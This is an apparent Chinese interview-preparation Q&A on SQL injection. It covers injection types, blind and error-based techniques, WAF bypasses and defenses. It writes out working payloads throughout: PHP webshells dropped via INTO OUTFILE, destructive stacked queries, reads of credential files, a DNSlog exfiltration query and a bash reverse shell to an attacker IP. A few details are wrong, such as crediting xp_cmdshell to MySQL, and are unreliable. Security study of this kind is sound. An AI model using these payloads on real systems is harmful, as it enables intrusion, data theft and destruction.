1. 什么是 SQL 注入?
SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,指攻击者通过在用户输入中插入恶意 SQL 语句,使后端数据库将其当作合法 SQL 代码执行,从而实现非法访问、篡改或删除数据库数据,甚至控制服务器的攻击方式。其本质是用户输入未被严格过滤 / 验证,直接拼接进入 SQL 查询语句。
2. SQL 注入的原理是什么?
原理核心:用户可控输入被当作 SQL 代码的一部分执行。 当应用程序将用户输入(如 URL 参数、表单数据、HTTP 头)直接拼接进 SQL 语句,且未做过滤或转义时,攻击者可构造恶意输入(如单引号、逻辑运算符)改变 SQL 语句的原有逻辑。 例如:正常查询为select * from news where id='1'
,若用户输入1' or '1'='1
,拼接后语句变为select * from news where id='1' or '1'='1'
,导致查询返回所有数据。
3. 如何判断一个网站是否有 SQL 注入点?
可通过以下步骤初步判断(以http://test.com/news?id=1
为例):
参数篡改测试:修改参数值,如
id=1'
(加单引号),观察是否返回 SQL 语法错误(如 “you have an error in your SQL syntax”);逻辑判断测试:对比
id=1 and 1=1
(正常响应)和id=1 and 1=2
(无响应或异常),若结果不同,可能存在注入;排序测试:用
id=1 order by 1
(正常)、id=1 order by 10
(异常),通过响应变化判断查询列数,若列数异常时出错,可能存在注入;联合查询测试:用
id=1 union select 1,2,3
,若返回 “2”“3” 等数字,说明注入点可利用。
4. SQL 注入的危害有哪些?(含利用方式)
SQL 注入危害极大,主要包括:
数据库信息泄露:通过注入获取数据库结构(表名、字段名)、敏感数据(账号密码、个人信息),例如
union select username,password from users
;数据篡改 / 删除:通过
update
/delete
语句修改或删除数据,例如id=1; delete from users where id=2--
;服务器权限获取:若数据库用户权限足够,可通过
load_file()
读取服务器文件(如select load_file('/etc/passwd')
),或通过into outfile
写入 Webshell(如select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/shell.php'
);拒绝服务:通过复杂查询或删除关键表(如
drop table users
)导致服务不可用;内网渗透:利用数据库权限进一步攻击内网(如通过数据库连接内网其他主机)。
5. 宽字节注入原理是什么?(含产生原理、条件、解决办法)
产生原理
宽字节注入是因数据库使用宽字节编码(如 GBK、GB2312)且输入被转义导致的漏洞。
宽字节编码(如 GBK)用 2 个字节表示一个字符,范围为
0x81-0xFE
(高字节)+0x40-0xFE
(低字节);应用通常会对用户输入的特殊字符(如单引号
'
)转义,例如将'
变为\'
(\
的 ASCII 码为0x5c
);若攻击者输入一个高字节字符(如
0xbf
),则0xbf
+0x5c
(转义符)会被 GBK 解析为一个合法字符 “縗”,导致转义失效,单引号'
被保留,从而注入成功(如id=1%bf' or 1=1--
)。
条件
数据库使用宽字节编码:如 GBK、GB2312(每个字符占 2 字节);
输入被转义处理:特殊字符(如
'
)被转义为\'
(\
的 ASCII 码为0x5c
);
解决办法
使用 UTF-8 编码(非宽字节,避免宽字节解析问题);
禁用数据库的宽字节自动转换(如 MySQL 的
SET NAMES 'gbk'
可能触发,需改为SET character_set_client=binary
);采用参数化查询(彻底避免拼接 SQL)。
6. MySQL 的网站注入,5.0 以上和 5.0 以下有什么区别?
MySQL 5.0 以上与以下版本的注入差异主要体现在系统数据库和功能支持:
特性 | MySQL 5.0 以下 | MySQL 5.0 以上 |
---|---|---|
系统数据库 | 无information_schema 库 | 有information_schema 库(存储所有表 / 字段信息) |
注入信息获取方式 | 需暴力猜解表名 / 字段名(如users 、admin ) | 可通过information_schema.tables 直接查询(如select table_name from information_schema.tables ) |
子查询支持 | 部分版本不支持复杂子查询 | 支持子查询(如select (select username from users limit 1) ) |
7. Dnslog 注入需要的条件是什么?
Dnslog 注入是盲注(无回显)场景下的一种带外数据获取方式,核心是通过 DNS 解析日志获取注入结果,条件如下:
目标服务器可访问外部网络:需能向攻击者控制的 DNS 服务器发起解析请求;
注入点支持执行带外查询:例如能执行
load_file()
(读取远程文件触发 DNS 解析)或select ... into outfile
(写入远程路径);攻击者拥有可控 DNS 服务器:需能记录 DNS 解析日志(如使用
Dnslog.cn
等平台)。
举例:id=1' and (select load_file(concat('\\\\',(select database()),'.xxx.Dnslog.cn\\a')))--
,其中(select database())
的结果会作为子域名被解析,攻击者通过 DNS 日志获取数据库名。
8. SQL 写入 webshell 的方法是什么?
写入 Webshell 的核心是通过 SQL 语句将恶意代码写入网站可访问的路径,步骤如下:
确认条件:
数据库用户有
FILE
权限(select file_priv from mysql.user where user=current_user()
返回Y
);已知网站绝对路径(如通过错误信息、配置文件或爆破获取);
secure_file_priv 未限制:
secure_file_priv
为NULL
:不允许导入导出;secure_file_priv
为指定文件夹:仅允许在该文件夹操作;secure_file_priv
为空:允许任意路径读写(漏洞利用的必要条件)。
写入语句: 以 MySQL 为例,使用
into outfile
:-- 直接写入PHP一句话 select '<?php @eval($_POST["cmd"]);?>' into outfile '/var/www/html/shell.php' -- 若特殊字符被过滤,用十六进制编码 select 0x3c3f70687020406576616c28245f504f53545b22636d64225d293b3f3e into outfile '/var/www/html/shell.php'
9. SQL 注入常见的类型有哪些?
按利用手法:
联合注入(
union select
):通过union
拼接查询,直接获取数据;盲注(布尔盲注 / 时间盲注):无回显时,通过逻辑判断(
and 1=1
)或延时(and sleep(5)
)猜解数据;报错注入:构造语句触发数据库错误,从错误信息中提取数据(如
extractvalue(1,concat(0x7e,(select database()),0x7e))
);堆叠注入:用分号分隔多条 SQL 语句(如
id=1; drop table users--
);二次注入:输入先被存储(如注册时输入
admin'#
),后续被读取时触发注入(如登录时拼接为select * from users where username='admin'#'
);宽字节注入:利用宽字节编码绕过转义(如 GBK 编码下
%bf'
被解析为合法字符,单引号生效)。
10. 什么是盲注(Blind SQL Injection)?
盲注是指注入点无明确错误回显(如只返回 “成功 / 失败” 或固定页面),需通过间接判断获取数据的注入方式,分为两种:
布尔盲注:通过逻辑表达式的真假判断结果,步骤:
猜解长度:
id=1' and length(database())>5--
(若响应正常,说明长度 > 5);逐字符猜解:
id=1' and substr(database(),1,1)='a'--
(通过响应是否正常判断首字符是否为a
)。
时间盲注:通过延时函数(如
sleep()
)的执行结果判断,步骤:触发延时:
id=1' and if(substr(database(),1,1)='a',sleep(5),0)--
;观察响应时间:若延迟 5 秒,说明首字符为
a
。
提高效率的方法:用ASCII码二分法(如判断字符是否在a-m
或n-z
)、编写脚本自动化猜解。
11. UNION 联合注入是什么?
UNION 注入利用UNION
操作符(合并两个查询结果)获取数据库信息,条件是前后两个查询的列数相同、数据类型兼容。
步骤:
判断列数:
id=1 order by 3--
(正常)、id=1 order by 4--
(异常),确定列数为 3;找到显位:
id=1' union select 1,2,3--
,若页面显示 “2”“3”,说明第 2、3 列是显位;获取信息:在显位中插入查询语句,如
id=1' union select 1,database(),version()--
,获取数据库名和版本。
12. 报错注入(Error-based)的原理是什么?
报错注入是通过构造特殊 SQL 语句,使数据库返回包含敏感信息的错误提示,原理是利用数据库报错机制将查询结果嵌入错误信息。
13. 二次注入(Second-order)是什么?
二次注入是指恶意输入先被 “安全存储”,后续被读取时未重新过滤,导致注入执行的攻击方式,流程如下:
注入存储阶段:攻击者输入恶意内容(如注册用户名
admin'#
),应用对输入进行转义(如admin\'#
)后存入数据库;注入触发阶段:后续操作读取该数据(如查询用户信息),应用直接拼接 SQL(
select * from users where username='admin\'#
),但存储的转义符可能被忽略(如数据库存储时自动去除\
),导致语句变为select * from users where username='admin'#
,注释掉后续内容,实现注入。
14. 堆叠注入的原理是什么?
堆叠注入(Stacked Injections)利用 SQL 语句支持批量执行的特性,通过分号;
分隔多条语句,使后端一次性执行,原理:
多数数据库(如 MySQL、SQL Server)支持用
;
分隔多条 SQL 语句(如select * from users; delete from logs;
);若应用未限制语句数量,攻击者可在注入点后拼接额外语句(如查询 + 删除 + 写入)。
举例:id=1'; drop table users;--
,执行后会先查询id=1
,再删除users
表。
限制:部分数据库(如 Oracle)或应用框架(如 PDO)默认禁止堆叠执行,仅支持单条语句。
15. 如何提高手工盲注的效率?
手工盲注效率较低,可通过以下方法优化:
Dnslog快速查询:需要执行 mysql 的 load_file 函数和 UNC 路径,但是 UNC 路径只能在位于 Windows 上运行;
二分法猜解:例如猜解字符时,先判断是否大于
m
(中间值),缩小范围(如substr(xxx,1,1)>'m'
);二进制延迟注入:通过二进制位运算逐位判断数据(如字符的 ASCII 码);
16. MySQL 报错函数用过有哪些?
MySQL 中常用的报错函数及用法如下:
函数 | 作用场景 | 示例语句 |
---|---|---|
extractvalue() | XPath 表达式错误触发报错 | extractvalue(1, concat(0x7e, (select user()), 0x7e)) |
updatexml() | 同extractvalue ,XPath 错误 | updatexml(1, concat(0x7e, (select database()), 0x7e), 1) |
floor(rand(0)*2) | 分组查询时主键重复错误 | select count(*), concat((select version()), floor(rand(0)*2))x from users group by x |
exp() | 数值溢出错误(仅 MySQL 5.5 及以下) | exp(710) (exp(710) 超过浮点数上限)+ 子查询 |
17. SQL (关系型数据库) 与 NoSQL (非关系型数据库) 的区别?
维度 | 关系型数据库(SQL) | 非关系型数据库(NoSQL) |
---|---|---|
数据模型 | 基于表结构(行 + 列),需预定义 schema | 灵活模型(文档、键值、图等),无需预定义 |
代表数据库 | MySQL、SQL Server、Oracle | MongoDB(文档)、Redis(键值)、Neo4j(图) |
查询语言 | 标准 SQL(结构化查询) | 非结构化查询(如 MongoDB 的find() ) |
事务支持 | 支持 ACID 特性(原子性、一致性等) | 多数不支持强事务(如 Redis),部分支持(如 MongoDB 4.0+) |
扩展性 | 垂直扩展为主(升级硬件) | 水平扩展为主(增加节点) |
适用场景 | 结构化数据、强事务需求(如银行) | 非结构化数据、高并发读写(如电商日志) |
18. 简述数据库的存储引擎?
存储引擎是数据库管理数据的底层软件,负责数据的存储、索引、事务等操作。以 MySQL 为例,常见存储引擎及特点:
InnoDB(默认):
支持事务(ACID)、行级锁、外键约束;
适合高并发写操作(如订单系统)。
MyISAM:
不支持事务和行级锁,支持表级锁;
查询速度快,适合读多写少场景(如博客)。
Memory(Heap):
数据存储在内存中,速度极快;
重启后数据丢失,适合临时数据(如缓存)。
Archive:
压缩存储,仅支持插入和查询;
适合归档数据(如日志)。
19. MySQL 一个 @ 和两个 @ 什么区别?
单 @:表示用户变量(自定义变量),作用域为当前会话,需手动赋值:
set @var = 1; -- 赋值 select @var; -- 输出1
双 @@:表示系统变量(数据库预定义变量),存储数据库配置信息(如版本、路径):
select @@version; -- 输出MySQL版本(如8.0.30) select @@datadir; -- 输出数据存储路径(如/var/lib/mysql/)
20. SQL 注入过滤了逗号,怎么处理?
逗号(,
)常用于分隔参数(如substr(a,1,1)
、limit 1,2
),过滤后可通过以下方式替代:
substr()
用substring()
+from for
:substr(username,1,1)
→substring(username from 1 for 1)
limit m,n
用limit n offset m
:limit 1,2
→limit 2 offset 1
union select 1,2,3
用union select 1/\*!\*/2/\*!\*/3
(利用注释/\*!\*/
分隔)函数参数用括号嵌套:
concat(1,2)
→concat(1/*!*/,2)
(通过注释绕过逗号检测)
21. sleep 被禁用后还能怎么进行 SQL 注入?(含延时注入)
方法 | 原理 | 示例 Payload | 适用场景 | 依赖条件 |
---|---|---|---|---|
benchmark() | 重复执行高计算量表达式消耗时间 | id=1' AND IF(1=1, BENCHMARK(1000000, MD5(0x41)), 1) --+ | 所有盲注场景 | 数据库未禁用 benchmark 函数 |
笛卡尔积查询 | 通过多表连接生成大量数据增加查询耗时 | id=1' AND (SELECT COUNT() FROM information_schema.columns A, information_schema.columns B, information_schema.tables C) > 0 --+ | 存在系统表可利用 | 需知道表结构 |
RLIKE 长字符串 | 匹配超长字符串或复杂正则表达式消耗 CPU 资源 | id=1' AND RPAD('a', 1000000, 'a') RLIKE 'a' --+ | 布尔盲注 | 数据库支持 RLIKE 操作符 |
load_file() | 尝试读取不存在的大文件或网络路径产生 IO 延时 | id=1' AND LOAD_FILE('/dev/null') IS NULL --+ | 有 FILE 权限 | 数据库未禁用 load_file 函数 |
get_lock() | 通过获取同名锁实现阻塞等待 | id=1' AND GET_LOCK('sql_injection', 5) --+ | 支持锁机制的数据库 | 需知道锁名称规则 |
floor()+rand() | 利用 GROUP BY 和 RAND () 组合触发错误并产生延时 | id=1' AND (SELECT 1 FROM (SELECT COUNT(), CONCAT(FLOOR(RAND(0)2), (SELECT user())) x FROM information_schema.tables GROUP BY x) --+ | 报错注入场景 | 需允许子查询 |
repeat() | 生成超长字符串消耗内存和 CPU 资源 | id=1' AND LENGTH(REPEAT('a', 1000000)) > 0 --+ | 简单条件判断 | 字符串处理函数未被限制 |
22. 发现 test?id=1 的注入点,有哪些思路去 getshell?优先级是怎样的?
GetShell 思路及优先级(从易到难):
直接写入 Webshell(最高优先级): 若满足文件写入条件并知晓网站根目录,直接用
into outfile
写入,如:id=1' union select 1,'<?php eval($_POST[cmd]);?>' into outfile '/var/www/shell.php'--
利用数据库扩展执行命令:
MySQL:若开启
xp_cmdshell
(需高权限),执行id=1'; exec master..xp_cmdshell 'echo "<?php ... ?>" > C:\shell.php'--
;SQL Server:类似,通过
xp_cmdshell
写入。
读取配置文件获取权限: 若无法直接写入,读取数据库密码(
select password from mysql.user
)、Web 配置文件(如select load_file('/var/www/config.php')
),进一步爆破服务器登录权限。反弹 Shell: 若服务器支持命令执行,通过
bash -i >& /dev/tcp/攻击IP/端口 0>&1
等命令反弹 Shell。
23. SQL 注入存在时,怎么判断是什么数据库?
通过以下特征区分数据库类型:
特征 | MySQL | SQL Server | Oracle |
---|---|---|---|
错误信息 | 含 “MySQL syntax error” | 含 “SQL Server error” | 含 “ORA-xxxx” |
特有的系统表 | information_schema.tables | sysobjects | user_tables |
特有的函数 | version() | @@version | banner (需sys.v_$version ) |
注释符 | -- 、# | -- 、/* */ | -- 、/* */ |
测试语句 | select 1 from dual (不支持 dual,用select 1 ) | select 1 | select 1 from dual |
24. SQL 头注入点是什么?
SQL 头注入是指注入点位于 HTTP 请求头中(非 URL / 表单参数),攻击者通过修改 HTTP 头字段注入恶意 SQL 代码,常见头字段:
User-Agent
:浏览器标识;Referer
:请求来源页;Cookie
:用户身份标识;X-Forwarded-For
:客户端 IP。
举例:若应用将User-Agent
存入数据库时未过滤,修改User-Agent: ' or 1=1--
,可能导致查询变为insert into logs values('' or 1=1--', ...)
,触发注入。
25. 你知道哪些可以用来代替空格?
URL 编码空格替代符
编码 | 说明 | 示例 |
---|---|---|
%20 | 标准 URL 空格编码 | SELECT%20*%20FROM%20users |
%0a | 换行符(ASCII 10) | SELECT%0a*%0aFROM%0ausers |
%0b | 垂直制表符(ASCII 11) | SELECT%0b*%0bFROM%0busers |
%0c | 换页符(ASCII 12) | SELECT%0c*%0cFROM%0cusers |
%0d | 回车符(ASCII 13) | SELECT%0d*%0dFROM%0dusers |
%a0 | 不间断空格(HTML 实体) | SELECT%a0*%a0FROM%a0users |
SQL 注释符替代空格
符号 | 说明 | 示例 |
---|---|---|
/**/ | 多行注释符 | SELECT/**/*/**/FROM/**/users |
–+ | 单行注释(需结尾) | SELECT--+*--+FROM--+users |
# | 单行注释(MySQL 专用) | SELECT#*#FROM#users |
特殊操作符与关键字替代
方式 | 说明 | 示例 |
---|---|---|
<> | 不等于操作符 | SELECT<>*<>FROM<>users |
() | 括号包裹表达式 | SELECT(USER())FROM(users) |
+ | 加法操作符(仅数字类型) | SELECT+1+FROM+users |
26. MySQL 注入常用函数有哪些?
按功能分类:
信息获取函数:
version()
:数据库版本;database()
:当前数据库名;user()
:当前登录用户;load_file(path)
:读取服务器文件(如load_file('/etc/passwd')
)。
字符串处理函数:
substr(str, pos, len)
:截取字符串(如substr('abc',1,2)='ab'
);concat(str1, str2)
:拼接字符串(如concat('user:', username)
);hex(str)
:转为十六进制(绕过单引号过滤)。
条件判断函数:
if(condition, true, false)
:条件判断(如if(1=1, 'yes', 'no')
);case when condition then a else b end
:多条件判断。
系统操作函数:
into outfile path
:写入文件;sleep(sec)
:延时函数(盲注)。
27. WAF(Web 应用防火墙)如何防御 SQL 注入?有哪些绕过方法?
WAF 防御方式
规则匹配:拦截含
union
、select
、'
等关键词的请求;输入验证:检查参数格式(如数字型参数只允许数字);
行为分析:识别异常请求频率或模式(如大量
and 1=1
尝试);预编译检测:拦截未使用参数化查询的请求。
绕过方法
关键词变形:
大小写混淆:
Union Select
、sElEcT
;拆分关键词:
sel/**/ect
、uni%0on
(换行分隔);
编码转换:
URL 编码:
select
→%73%65%6C%65%63%74
;Unicode 编码:
'
→%u0027
;十六进制编码:
'
→0x27
;Hex编码
利用注释:
select/*abc*/username from/*123*/users
;特殊符号替代:空格→
%09
、=
→<>
(部分场景);分块注入:将长语句拆分,如
id=1' and (select 1)=(select 2) or (select 'a')='a--
。
28. 如何判断目标网站是否存在堆叠注入?
判断方法:通过拼接多条语句观察响应变化,步骤:
构造无害测试语句:在注入点后加
;
和简单查询,例如:id=1'; select 1--
(MySQL)、id=1'; select 1 from dual--
(Oracle)。观察响应:
若响应无异常(或与
id=1
相同),可能不支持堆叠;若响应异常(如错误信息、内容变化),可能支持堆叠。
进一步验证:用写操作测试(如创建临时表):
id=1'; create table test(id int)--
,若后续查询test
表存在,则确认支持。
29. SQL 注入写 webshell 时如何判断是高权限?
高权限指数据库用户拥有root
(MySQL)、sysadmin
(SQL Server)等权限,判断方法:
查询用户权限表:
-- MySQL SELECT file_priv, super_priv FROM mysql.user WHERE user=current_user(); -- file_priv=Y 表示可读写文件,super_priv=Y 表示可修改全局配置 -- SQL Server SELECT IS_SRVROLEMEMBER('sysadmin'); -- 返回1表示系统管理员
验证敏感表访问权限
-- 若能查询mysql.user表,说明权限较高 SELECT COUNT(*) FROM mysql.user; -- 无回显场景下用时间盲注 id=1' AND IF((SELECT COUNT(*) FROM mysql.user)>0, SLEEP(5), 0)--
读取敏感文件
-- Linux SELECT LOAD_FILE('/etc/passwd'); -- 成功读取则为高权限 -- Windows SELECT LOAD_FILE('C:\Windows\System32\config\SAM');
写入 Webshell 测试
-- 尝试写入到Web目录 SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'; -- 验证:访问http://target/shell.php?cmd=id -- 若返回uid=0(root),则为最高权限
系统命令执行能力
-- 通过UDF(用户定义函数)执行系统命令 CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id'); -- 需root权限
30. –os-shell 的原理是什么?
--os-shell
是 SQLMap 工具中的一个功能,用于在高权限下通过数据库执行系统命令并获取交互式 Shell,原理如下:
前提条件:
数据库用户有
FILE
权限和命令执行权限(如 MySQL 的xp_cmdshell
、PostgreSQL 的COPY
);已知网站绝对路径。
执行流程:
工具自动判断数据库类型,生成对应脚本(如 PHP、ASP);
通过
into outfile
等语句将脚本写入 Web 目录;访问脚本建立与攻击者的交互,实现命令执行(如
ls
、whoami
)。
31. 如何获取网站的根目录?
获取网站根目录的常用方法:
错误信息泄露:故意输入错误参数(如
id=1'
),若报错信息含路径(如/var/www/html/index.php on line 10
),直接获取;读取配置文件:
Apache:
select load_file('/etc/httpd/conf/httpd.conf')
(找DocumentRoot
);Nginx:
select load_file('/etc/nginx/nginx.conf')
(找root
字段);
爆破常见路径:基于操作系统猜测(如 Linux:
/var/www/
、/usr/share/nginx/html/
;Windows:C:\xampp\htdocs\
、D:\www\
);利用框架特性:如 PHP 的
phpinfo()
页面会显示DOCUMENT_ROOT
(若能注入触发phpinfo()
)。
32. 非 SQL 数据库是什么?
非 SQL 数据库即 NoSQL(Not Only SQL)数据库,是一类不遵循关系模型的数据库,特点是灵活的数据结构、高扩展性、适合非结构化数据,常见类型:
文档型:MongoDB(存储 JSON-like 文档,如电商商品信息);
键值型:Redis(以键值对存储,用于缓存、计数器);
列族型:HBase(适合海量数据存储,如日志);
图数据库:Neo4j(存储节点和关系,如社交网络关系)。
NoSQL 注入与 SQL 注入不同,通常利用查询语法漏洞(如 MongoDB 的$where
注入:username[$ne]=1
绕过登录)。
33. 如何用浏览器快速判断是否存在 SQL 注入(目标 URL 为 http://test.com/news?id=1)?
通过浏览器修改参数观察响应,步骤:
单引号测试:在 URL 后加
'
,即http://test.com/news?id=1'
,回车后观察:若页面显示 SQL 语法错误(如 “you have an error in your SQL syntax”),可能存在注入;
若页面空白或报错 “500 Internal Server Error”,可能存在注入。
逻辑判断测试:
访问
id=1 and 1=1
(正常响应,与原页面一致);访问
id=1 and 1=2
(响应异常,如空白、内容变化),若两者差异明显,可能存在注入。
联合查询测试:访问
id=1 union select 1,2,3
,若页面显示 “2”“3”,说明注入点可利用。
34. SQL 注入的防御措施有哪些?
参数化查询:使用预编译语句(如 PHP 的 PDO:
$stmt = $pdo->prepare("select * from users where id=?")
),彻底避免拼接 SQL;输入验证:严格限制输入格式(如数字型参数只允许
0-9
,字符串型用白名单过滤);最小权限原则:数据库用户仅赋予必要权限(如
SELECT
),禁用FILE
权限和xp_cmdshell
;错误信息屏蔽:生产环境关闭详细错误提示(如 PHP 的
display_errors=Off
);WAF 部署:使用 Web 应用防火墙拦截常见注入特征;
定期审计:通过工具(如 SQLMap)扫描漏洞,修复代码缺陷。
35. MySQL 文件上传利用步骤
1. 确认数据库权限与配置
检查当前用户权限
SHOW GRANTS; -- 需返回包含 FILE 权限(如 "FILE ON . TO 'root'@'localhost'")
查看 secure_file_priv 配置
SHOW VARIABLES LIKE 'secure_file_priv'; -- 若结果为 NULL:不允许导入导出 -- 若结果为空字符串(""):无路径限制(可利用) -- 若指定目录(如 /tmp/):仅允许在该目录操作
获取网站根路径(需结合环境猜测或其他漏洞)
SELECT @@basedir; -- MySQL 安装路径 SELECT @@datadir; -- 数据文件路径
2. 写入 Webshell 文件
利用高权限将恶意代码写入网站根目录,示例(需替换为实际路径):
-- 写入一句话木马(PHP)
SELECT '<?php @eval($_REQUEST[shell]);?>' INTO OUTFILE 'D:/phpstudy_pro/WWW/shell.php';
-- 写入包含系统命令执行的木马
SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/cmd.php';
3. 验证上传成功
访问上传的文件,若能执行命令则漏洞利用成功:
访问路径:
http://目标IP/shell.php?shell=phpinfo()
预期结果:返回 PHP 环境信息或命令执行结果(如
http://目标IP/cmd.php?cmd=whoami
返回当前用户)。
35. 什么情况下使用 Dnslog 注入?
目标信息无法回显,如果能发送请求,就可以尝试一下,用Dnslog来获取回显,比如说:挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban;发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞就可以尝试Dnslog盲注。 以下这些常见都可以尝试Dnslog注入:
SQL注入中的盲注
XSS盲打
无回显的命令执行
无回显的SSRF
无回显的XXE(Blind XXE)
36. GPC 是什么?GPC 之后怎么绕过?
GPC:即
magic_quotes_gpc
,是 PHP 的配置项(PHP 5.4 后移除),作用是自动对 GET、POST、COOKIE 中的特殊字符(单引号'
、双引号"
、反斜杠\
等)添加反斜杠\
转义,试图防止 SQL 注入。绕过方法:
宽字节注入:若目标使用 GBK 编码,输入
%df'
(单引号),GPC 会转义为%df\'
,但%df\
在 GBK 中是一个宽字节,导致单引号'
逃逸,形成有效注入。编码绕过:对特殊字符 URL 编码(如
'
编码为%27
),部分场景下 GPC 不处理编码后的字符。利用未过滤参数:GPC 不处理
$_SERVER['REQUEST_URI']